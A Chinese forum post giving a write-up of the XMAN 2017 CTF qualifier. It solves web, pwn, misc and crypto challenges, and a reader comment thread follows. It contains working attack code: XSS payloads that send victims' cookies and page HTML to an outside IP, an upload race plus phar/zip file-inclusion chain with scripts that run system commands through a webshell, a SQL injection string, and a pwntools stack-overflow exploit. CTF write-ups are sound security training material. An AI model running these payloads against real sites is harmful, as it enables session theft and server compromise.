XMAN个人排位赛部分WriteUP

  WangYihang       2017-08-09 23:52:48 450  3


XSS1

经过测试发现 : 单引号替换成了下划线 // 根据大佬的ppt中的绕过 csp 的 payload , 可以直接利用 <script> var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?c=" + document.cookie); document.head.appendChild(n0t); </script>

admin=xman{eVEn_CSP_you_G37_mY_C00K1e}


Login

先扫一波目录 SourceLeakHacker ›› python SourceLeakHacker.py http://202.112.51.217:8099/ 32 32 [ 200 ] Checking : http://202.112.51.217:8099/index.php [ 200 ] Checking : http://202.112.51.217:8099/ [ 403 ] Checking : http://202.112.51.217:8099/.htaccess [ 403 ] Checking : http://202.112.51.217:8099/.hta [ 403 ] Checking : http://202.112.51.217:8099/.htpasswd [ 200 ] Checking : http://202.112.51.217:8099/css/ [ 200 ] Checking : http://202.112.51.217:8099/fonts/ [ 403 ] Checking : http://202.112.51.217:8099/icons/ [ 200 ] Checking : http://202.112.51.217:8099/index.php/ [ 200 ] Checking : http://202.112.51.217:8099/js/ [ 403 ] Checking : http://202.112.51.217:8099/server-status/

查看源码 , 发现如下信息 : if ($result!=null&&$result->rowCount()==1){ echo $flag; } 我们只需要控制 sql 语句让结果集不为空而且长度大于 0 即可 payload 为 : username=admin'%23&password=xman XMAN{B4by_SqL1_w1th_L1mit}


protocol

据大佬说用 AWVS 可以扫出心脏滴血漏洞 在 AWVS 的漏洞报告里面就有 leak 出的内存数据 leak出来的内存中就有类似 post 数据的用户密码 然后直接登录就可以得到 flag


Misc150

首先把 gif 图片分帧 然后写脚本跑一下即可得到二进制的字符串 ```

!/usr/bin/env python

encoding: utf-8

from PIL import Image

Im = Image.new("L", (400, 400))

def average(im): height = im.size[0] width = im.size[1] s = 0 for i in range(height): for j in range(width): s += im.getpixel((i,j))[0] result = s / (height * width) print "[+] [%d]" % (result) return result

result = "" for i in range(304): filename = "IMG%05d.bmp" % (i) im = Image.open(filename) if average(im) > 127: result += "0" else: result += "1" print result

Im.save("result.bmp") ```


baby web

存在文件包含漏洞 , 可以使用 php://filter 结合 base64-encode 的 converter 在文件包含之前将文件内容过滤一遍 这样在包含 php 文件的时候 base64 就已经不是符合 php 语法规范的了 在 php 解析的时候会将这些内容作为 dataStatus 的内容直接显示出来

下面是读取到的源码 :

``` // index.php <?php require("header.php"); $page=""; if (isset($_GET['page'])) { $page=strtolower($_GET['page']); $page=str_replace("#", "", $page); $page=str_replace("'", "", $page); $page=$page.".php"; } else $page="main.php"; include($page); ?>

// upload

<?php $error=$_FILES['pic']['error']; $tmpName=$_FILES['pic']['tmp_name']; $name=$_FILES['pic']['name']; $size=$_FILES['pic']['size']; $type=$_FILES['pic']['type']; try{ if($name!=="") { $name1=substr($name,-4); if(($name1!==".gif") and ($name1!==".jpg")) { echo "hehe"; echo ""; exit; } if($type!=="image/jpeg"&&$type!=="image/gif") { //echo mime_content_type($tmpName); echo ""; exit; } if(is_uploaded_file($tmpName)){ $time=time(); $rootpath='uploads/'.$time.$name1; if(!move_uploaded_file($tmpName,$rootpath)){ echo ""; exit; } else{ sleep(2);
if ($type=='image/jpeg') { $im = @imagecreatefromjpeg($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagejpeg($im,$new_rootpath); imagedestroy($im); } } else if ($type=='image/gif') { $im = @imagecreatefromgif($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagegif($im,$new_rootpath); imagedestroy($im); } } unlink($rootpath); } } echo "图片ID:".$time; } } catch(Exception $e) { echo "ERROR"; } // ?> 根据对 upload.php 的审计

首先前面两个对文件的后缀名和文件类型判断的条件都可以很容易就绕过 因为他们事实上获取到的是客户端可控的数据 , 只需要在客户端修改发送的 http 请求包即可

可以发现这里存在一个非常可疑的一点 : 在移动 tmp 文件到 uploads 目录下的之后 , 调用了 sleep 函数睡了两秒 这里在这两秒钟之内这个文件是存在于服务器上的

if(is_uploaded_file($tmpName)){ $time=time(); $rootpath='uploads/'.$time.$name1; if(!move_uploaded_file($tmpName,$rootpath)){ echo ""; exit; } else{ sleep(2);
if ($type=='image/jpeg') { $im = @imagecreatefromjpeg($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagejpeg($im,$new_rootpath); imagedestroy($im); } } else if ($type=='image/gif') { $im = @imagecreatefromgif($rootpath); if(!$im){ $im = imagecreatetruecolor(150, 30); $bg = imagecolorallocate($im, 255, 255, 255); $text_color = imagecolorallocate($im, 0, 0, 255); imagefilledrectangle($im, 0, 0, 150, 30, $bg); imagestring($im, 3, 5, 5, "Error loading image", $text_color); } else { $time=time(); $new_rootpath='uploads/'.$time.$name1; imagegif($im,$new_rootpath); imagedestroy($im); } } unlink($rootpath); } } 只要我们可以在这两秒之内拿到文件名即可将其包含 , 触发文件包含漏洞 现在的问题在于如何获得文件名 经过扫描目录发现这里 uploads 目录是可以列目录的 这个是因为管理员在配置 apache 的时候 , apache 的虚拟主机的配置文件没有配置正确 在 Linux 下 , 这个配置文件在 : /etc/apache2/apache2.conf 具体内容如下 : ```

<Directory /var/www/> Options FollowSymLinks Indexes AllowOverride ALL Require all granted </Directory>

参考资料 : http://www.ducea.com/2006/06/26/apache-tips-tricks-disable-directory-indexes/

然后我们就可以写脚本去获取最新产生的文件名 脚本如下 : ```

!/usr/bin/env python

encoding: utf-8

import requests

url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = [] for line in content.split("\n"): if "href=" in line: files.append(line.split("href=\"")[1].split("\">")[0])

print files[-1] ``` 获取到了之后再去使用文件包含漏洞去包含这个文件即可 但是这里有一个需要注意的一点 : index.php 的 page 参数后添加 .php 因此需要使用 php 的 zip 协议去包含这个文件 关于 zip 协议可以参考 :

http://php.net/manual/en/wrappers.compression.php

所以我们可以先新建一个 php 文件 , 写入一句话木马 然后将其打包成压缩包 , 再将其后缀名修改成 jpg 或者 gif 最后上传 然后在包含这个文件的时候 , page 参数添加上后面的 .php 就会变成 : zip://uploads/filename.jpg#webshell.php 这里放出利用脚本 :

upload.py ```

!/usr/bin/env python

encoding: utf-8

import requests

url = "http://202.112.51.217:8199/upload.php"

data = { 'title': 'admin', 'url': 'admin' }

files = {'pic': ('xman.jpg', open("filename.zip").read(), 'image/jpeg')}

这里使用 requests 库来上传文件有几种方式

这种方式可以控制文件名以及文件类型

可以用来绕过基于客户端的文件名和文件类型检测

response = requests.post(url, data=data, files=files) content = response.content print content ```

include.py ```

!/usr/bin/env python

encoding: utf-8

import requests

url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = [] for line in content.split("\n"): if "href=" in line: files.append(line.split("href=\"")[1].split("\">")[0])

filename = files[-1] url = "http://202.112.51.217:8199/index.php?page=php://filter/read=convert.base64-decode/resource=phar://uploads/"+filename+"/b&c=system('head *');" print requests.get(url).content ```

``` total 56 drwxr-xr-x 14 root root 4096 Aug 8 02:41 . drwxr-xr-x 8 root root 4096 Aug 7 15:30 .. drwxrwxr-x 2 root root 4096 Aug 8 02:41 css drwxrwxr-x 2 root root 4096 Aug 8 02:41 fonts -rw-rw-r-- 1 root root 1688 Aug 6 02:45 header.php -rw-rw-r-- 1 root root 265 Aug 7 15:52 index.php drwxrwxr-x 2 root root 4096 Aug 8 02:41 js -rw-rw-r-- 1 root root 2714 Mar 20 2016 main.php -rw-rw-r-- 1 root root 470 Apr 1 2016 show.php -rw-rw-r-- 1 root root 2377 Mar 20 2016 submit.php -rw-rw-r-- 1 root root 2205 Aug 8 01:47 upload.php drwxrwxrwx 2 root root 4096 Aug 8 04:04 uploads -rw-rw-r-- 1 root root 707 Mar 20 2016 view.php -rw-rw-r-- 1 root root 44 Aug 7 14:36 xxxxxxxxxasdasf_flag.php

<?php $flag="XMAN{Rush_Rush_oo000}"; ?> XMAN{Rush_Rush_oo000} ```


MISC 100

1. zip伪加密 2. 得到一个 png , binwalk -e 直接解压 , 然后直接查看解压出的数据即可得到 flag XMAN{Png_HIde_sEcret}


Xor

这个题目使用了一种比较笨的方法做出来了 思路是下断点到最后判断用户输入是否正确的 if 语句 动态调试 , 分别得到 eax 的两个值 , 将这两个值异或之后就得到了flag的一个字节 然后直接一个字节一个字节动态调试就可以还原出整个 flag 我觉得整个题目应该是可以直接使用 idc 的脚本 或者 ida-python 的脚本直接就可以跑出来 如果有哪位好心的大佬会的话求告知 , 感谢 orz XMAN{X0r_iS_Easy_Hahaha}


XSS2 :

<script> var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML); document.head.appendChild(n0t);</script> <script> function get(){ content=document.getElementById("wangyihang").innerHTML; var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?c="+content); document.head.appendChild(n0t); } </script> <iframe src="admin.php" onload="get()" id="wangyihang"></iframe> <script> var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.getElementsByTagName('html')[0].innerHTML); document.head.appendChild(n0t);</script> <script> function get(){ i=document.frames["wangyihang"]; console.log(i.document.innerHTML); } </script> <iframe src="http://baidu.com/" onload="get()" name="wangyihang"></iframe> <script> var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?c="+document.body); document.head.appendChild(n0t);</script> document.getElementsByTagName('html')[0].innerHTML; <script> function get(){ ifr=document.getElementById("wangyihang").contentWindow var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML)); document.head.appendChild(n0t); }</script> <iframe src="admin.php" onload="get()" id="wangyihang"></iframe> <script> function get(){ ifr=document.getElementById("wangyihang").contentWindow var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?d="+escape(window.top.document.cookie)); document.head.appendChild(n0t); }</script> <iframe src="admin.php" onload="get()" id="wangyihang"></iframe> <script> function get(){ ifr=document.getElementById("wangyihang").contentWindow var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?d="+escape(window.top.document.cookie)); document.head.appendChild(n0t); }</script> <iframe src="admin.php" onload="get()" id="wangyihang"></iframe> <script> window.location="http://123.207.40.26:65534/?f="; function get(){ ifr=document.getElementById("wangyihang").contentWindow var n0t = document.createElement("link"); n0t.setAttribute("rel", "prefetch"); n0t.setAttribute("href", "//123.207.40.26:65534/?c="+escape(ifr.document.getElementsByTagName("html")[0].innerHTML)+"&d="+ifr.document.cookie); document.head.appendChild(n0t); }</script> <iframe src="admin.php" onload="get()" id="wangyihang"></iframe> <iframe src="javascript:i=document.createElement('iframe');i.src='admin.php';i['onlo'+'ad']=function(){parent.window['locat'+'ion'].href='http://123.207.40.26:65534/?ddd='+escape(this.contentWindow.document.cookie)};document.body.append(i)"</iframe> <iframe src=javascript:i=document.createElement("iframe");i.src="admin.php";i["onlo"+"ad"]=function(){parent.window["locat"+"ion"].href="http://123.207.40.26:65534/?ddd="+escape(this.contentWindow.document.cookie)};document.body.append(i)> </iframe> <script src="./js/jquery.min.js"></script> <script> $.get("http://202.112.51.217:43426/flag.php", function(data){ window.location.href="http://123.207.40.26:65534/?="+data; }) </script> 尝试了好多 payload 结果发现死活不能得到管理员的 cookie , 最后根据 hint 得到 存在 flag.php 想到管理员如果去访问 flag.php 是可以直接访问得到 flag 的 所以最终的 payload 是先引入 jquery , 然后直接使用 get 方法让管理员去访问 flag.php 然后再将得到的结果发送到 xss 平台即可

xman{OH_Y0u_G37_mY_secreT_F14G!}


维吉尼亚

直接用一个很叼的在线网站去解 , 连秘钥都不需要 暂时不太清楚这个网站的原理 , 简直神奇

www.guballa.de

XMAN{CLASSICCRYPTOGRAPHYISEASYTOBREAK}


easy heap

```

!/usr/bin/env python

from pwn import * offset = 56

p = process('./easyheap')

p = remote('202.112.51.217' , 24598)

p.recvuntil('name?\n') p.sendline('1') p.recvuntil('choice : ') p.sendline('1') p.recvuntil('Name:\n') p.sendline('1') p.recvuntil('choice : ') p.sendline('3') p.recvuntil('info:\n') address = 0x400766 payload = 'a' * offset + p64(address) p.sendline(payload) p.recvuntil('choice : ') p.sendline('2') p.interactive() ![image.png](http://upload-images.jianshu.io/upload_images/2355077-ae13908a46aed8d3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 藏了一个 /bin/sh 直接栈溢出覆盖到返回地址即可 XMAN{cie3rejo0muash0phieno8ohThipae6x} ```


木头人 :

``` 23731263 111628163518122316391715262121

23 x 73 m 12 a 63 n

11 q 16 y 28 k 16 y 35 b 18 i 12 w 23 d 16 y 39 . 17 u 15 t 26 h 21 a 21 a

xman{qykybiwdy.uthaa} ??? 有个比较坑的一点是 { } 这两个字符在键盘坐标中的横坐标是两位数 ```

请先登录
+1 已点过赞
3
分享到:
登录后才能发贴或参与互动哦! 点击登录

全部评论 (2)

WangYihang 2017-08-09 23:54:36
我的妈呀 , 这个 Markdown 的编辑器不支持代码段 , 糊了 , 可以参考这个链接 : http://www.jianshu.com/p/d7cd2e6dd092
回复
请先登录 1 +1 已点过赞

WangYihang @ WangYihang 2017-08-09 23:56:44

同时安利一波一个 webshell 的链接工具 , 不同于菜刀 , 是终端界面的 , 可以在服务器上跑 https://github.com/WangYihang/Webshell-Sniper

回复
请先登录 2 +1 已点过赞
Pr0ph3t_ 2017-08-10 00:23:26
大佬 那个BabyWeb的貌似是不能用zip的 #被过滤了。。只能用phar
回复
请先登录 1 +1 已点过赞

WangYihang @ Pr0ph3t_ 2017-08-10 00:33:20

诶我明天起来测试一下 我觉得zip协议应该也是可以的吧 并没有在代码中看到过滤了井号的逻辑 应该是需要将井号url编码就可以的吧

回复
请先登录 2 +1 已点过赞

Pr0ph3t_ @ WangYihang 2017-08-11 14:04:58

在index.php那

回复
请先登录 0 +1 已点过赞